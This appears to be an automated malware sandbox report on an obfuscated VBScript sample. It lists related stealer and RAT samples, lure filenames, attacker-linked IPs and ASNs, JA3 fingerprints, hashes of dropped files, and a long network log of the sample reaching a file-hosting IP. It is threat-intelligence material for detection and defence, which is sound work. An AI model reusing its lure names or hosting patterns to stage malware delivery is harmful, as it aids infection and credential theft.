ia600100.us.archive.org	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31177.14968.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	LJ1IZDkHyE.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse	207.241.227.240
	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse	207.241.227.240

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INTERNET-ARCHIVEUS	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.22759.7388.rtf	Get hash	malicious	Remcos	Browse	207.241.227.96
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	207.241.235.61
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31177.14968.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	Get hash	malicious	Unknown	Browse	207.241.237.3
ACTIVE-SERVERSactive-serverscomDE	IEnetbookCookies.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse	134.255.227.248
	US091024A.xla.xlsx	Get hash	malicious	Remcos, PureLog Stealer	Browse	134.255.227.248
	file.exe	Get hash	malicious	Unknown	Browse	109.230.238.72
	myxwr5cli.bat	Get hash	malicious	Unknown	Browse	134.255.233.93
	skt.spc.elf	Get hash	malicious	Mirai	Browse	95.156.228.183
	17138520674595629f036092083cd6f67bdbe7369638076e0b4435be55ac10762b26f7e163552.dat-decoded.exe	Get hash	malicious	XWorm	Browse	134.255.217.251
	72625413524.vbs	Get hash	malicious	XWorm	Browse	134.255.217.251
	ft1i6jvAdD.exe	Get hash	malicious	Xmrig	Browse	134.255.231.136
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	95.156.228.183
	1B8943B2CCEA3EE9E464B5865711DB721BAE33CA03646.exe	Get hash	malicious	BazaLoader, SmokeLoader	Browse	134.255.232.95

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	file.exe	Get hash	malicious	Credential Flusher	Browse	207.241.227.240
	mitec_purchase_order_PDF (1).vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	207.241.227.240
	DHL Shipping documents 0020398484995500.exe	Get hash	malicious	AgentTesla	Browse	207.241.227.240
	http://tvsurf.jp/	Get hash	malicious	Unknown	Browse	207.241.227.240
	https://files.constantcontact.com/2d77228b901/702368a5-3f96-4cb6-b61d-aab8728be1ff.pdf	Get hash	malicious	Unknown	Browse	207.241.227.240
	https://sanbernardinoscounty.telcom-info.com/	Get hash	malicious	HtmlDropper	Browse	207.241.227.240
	OXrZ6fj4Hq.exe	Get hash	malicious	Neshta, Oski Stealer, StormKitty, SugarDump, Vidar, XWorm	Browse	207.241.227.240
	Pedido09669281099195.com.exe	Get hash	malicious	DarkTortilla, Quasar	Browse	207.241.227.240
	https://finalstepgetshere.com/uploads/beta9.zip	Get hash	malicious	LummaC	Browse	207.241.227.240

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul774/lL:NllUwt
MD5:	3BD40D4BDD7802424FE8F2DC2A41C196
SHA1:	88F355EA9D58C5A00B2EBB0DC3127C0C13052631
SHA-256:	FCF55501F03C9B5E24796B8FE3656143E97D7A5FD0300387C1960C226C74076A
SHA-512:	67734D54D327379C259DB7E0576BE2A4B597CB2F0B9E881AA1FC2B55F375BB5862122579B0B5EC7DED7A7875C2AC7668033355772CBB8311A8A86924153D59B2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5i3jdj22.3ak.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l1inyfbo.5zh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mizk0jab.mrd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_opd2forr.11h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.763828211244214
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	ZJbugHcHda.vbs
File size:	264'012 bytes
MD5:	134f2e8115174dea5246b807fd0c8427
SHA1:	c47a738087706c17b345c8b93b8eb71c1518e3a8
SHA256:	01b5377b8e2fd5cc88c57a2115fefc853ddecbf4aff300357391dcd803b7d67d
SHA512:	efc7386287e271b6d1050f1c585073351b0b9cc9cd551cb759f02fbe4a492bb3ff20b3d498cd608558353b1879a591ae630e5e0e1e0d7286a31fdde7787c0c08
SSDEEP:	6144:lXrMBdAFddreHnCe/0dgN/Nqtk5UwsdiV+SD0aLwnEU:lILwddrK8gF4k5Uxu+kfsnEU
TLSH:	FA44160225EA7008F1F32F6696F955F94F7BB9652939821D648C0B4E1BE3E80CE517B3
File Content Preview:	..........h.z.k.c.W.n.K.i.G.e.W.s.x.a.P.i.Q.x.q.C.x.R.Z.c.G.L. .=. .".S.t.L.G.J.b.c.A.W.h.K.L.e.p.W.L.o.H.W.h.i.P.W.L.U.R.".....n.o.W.L.i.t.c.d.K.P.n.J.e.K.K.L.d.m.K.a.A.K.z.K.J.a. .=. .".c.i.C.m.C.H.u.l.B.K.O.G.W.e.m.K.h.b.L.j.b.e.s.c.o.c.o.L.W.f.L."....

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:22:07.068973064 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:07.069005966 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:07.069132090 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:07.079601049 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:07.079617023 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:07.702028036 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:07.702200890 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:07.705935955 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:07.705945015 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:07.706209898 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:07.717240095 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:07.763410091 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.002876997 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.002902031 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.002919912 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.003070116 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.003092051 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.003161907 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.029851913 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.029871941 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.029987097 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.029997110 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.030019045 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.030056000 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.088795900 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.088824034 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.088934898 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.088964939 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.089060068 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.121140003 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.121164083 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.121368885 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.121397972 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.121463060 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.122680902 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.122697115 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.122792006 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.122816086 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.122873068 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.124589920 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.124613047 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.124710083 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.124732971 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.124800920 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.187472105 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.187498093 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.187617064 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.187634945 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.187696934 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.213438034 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.213454008 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.213570118 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.213594913 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.213669062 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.214416981 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.214432001 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.214526892 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.214535952 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.214627981 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.215188026 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.215204954 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.215284109 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.215297937 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.215357065 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.216700077 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.216716051 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.216793060 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.216799974 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.216876984 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.217629910 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.217650890 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.217719078 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.217730045 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.217792988 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.226881027 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.226902008 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.226979017 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.227005005 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.227072001 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.273422956 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.273442030 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.273581028 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.273592949 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.273633003 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.273772001 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.280822992 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.280838966 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.280937910 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.280946970 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.281012058 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.305907011 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.305924892 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.306076050 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.306082964 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.306159973 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.306461096 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.306476116 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.306548119 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.306555033 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.306612015 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.307064056 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.307079077 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.307157040 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.307168961 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.307226896 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.307635069 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.307650089 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.307832003 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.307840109 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.307929039 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.308471918 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.308487892 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.308573961 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.308581114 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.308639050 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.319309950 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.319333076 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.319636106 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.319643974 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.319705963 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.373215914 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.373236895 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.373392105 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.373400927 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.373476028 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.373763084 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.373783112 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.373862028 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.373868942 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.373984098 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.398519993 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.398540020 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.398667097 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.398679018 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.398761034 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.399235010 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.399254084 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.399296999 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.399303913 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.399354935 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.399354935 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.399723053 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.399736881 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.399816990 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.399825096 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.399903059 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.400352001 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.400366068 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.400444984 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.400453091 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.400583982 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.402817965 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.402832031 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.402924061 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.402931929 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.402981043 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.411806107 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.411820889 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.411902905 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.411912918 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.411963940 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.466546059 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.466597080 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.466799974 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.466818094 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.466934919 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.467200994 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.467216969 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.467305899 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.467314005 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.467366934 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.490823984 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.490843058 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.490978956 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.490988970 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.491050959 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.491312981 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.491328001 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.491403103 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.491409063 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.491509914 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.491823912 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.491838932 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.491966009 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.491974115 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.492026091 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.492363930 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.492378950 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.492449045 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.492458105 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.492517948 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.493144989 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.493160009 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.493243933 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.493251085 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.493314981 CEST	49730	443	192.168.2.4	207.241.227.240
Oct 2, 2024 05:22:08.504410982 CEST	443	49730	207.241.227.240	192.168.2.4
Oct 2, 2024 05:22:08.504426956 CEST	443	49730	207.241.227.240	192.168.2.4
